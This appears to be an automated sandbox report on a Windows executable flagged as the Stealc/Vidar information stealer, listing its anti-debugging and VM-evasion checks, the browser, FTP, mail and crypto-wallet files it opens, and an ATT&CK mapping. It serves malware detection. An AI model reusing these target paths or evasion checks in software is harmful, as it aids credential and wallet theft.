Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: KECFIDGC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: KECFIDGC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: KECFIDGC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: KECFIDGC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: KECFIDGC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001122000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KECFIDGC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: KECFIDGC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: KECFIDGC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: KECFIDGC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: KECFIDGC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: KECFIDGC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: KECFIDGC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: KECFIDGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: KECFIDGC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: KECFIDGC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: KECFIDGC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: KECFIDGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: KECFIDGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: KECFIDGC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58204
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59393
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58207
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58222
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58218
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58258

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAF5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_008745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00889860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00889750 mov eax, dword ptr fs:[00000030h]

0_2_00889750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008878E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_008878E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CACB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CACB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00889600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00889600

Source: file.exe, file.exe, 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: aProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CACB341 cpuid

0_2_6CACB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00887B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00887980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00887980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00887850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00887850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00887A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00887A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2142556115.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2142556115.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3180, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
